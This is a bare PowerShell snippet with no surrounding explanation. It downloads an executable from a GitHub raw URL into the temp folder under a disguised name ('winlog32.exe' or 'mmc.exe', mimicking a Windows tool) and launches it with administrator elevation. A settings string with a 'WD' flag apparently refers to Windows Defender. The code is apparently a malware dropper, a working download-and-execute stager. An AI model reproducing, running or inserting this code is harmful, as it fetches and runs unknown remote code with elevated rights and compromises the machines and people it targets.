$settings = '{"WD": false, "adminrun": false}'; if ($settings.adminrun) { $outputPath = Join-Path $env:temp 'winlog32.exe'; (New-Object System.Net.WebClient).DownloadFile("https://github.com/gnoexe/mmc/raw/main/mmc.exe", $outputPath); Start-Process $outputPath -Verb RunAs } else { $outputPath = Join-Path $env:temp 'mmc.exe'; (New-Object System.Net.WebClient).DownloadFile("https://github.com/gnoexe/mmc/raw/main/mmc.exe", $outputPath); Start-Process $outputPath -Verb RunAs };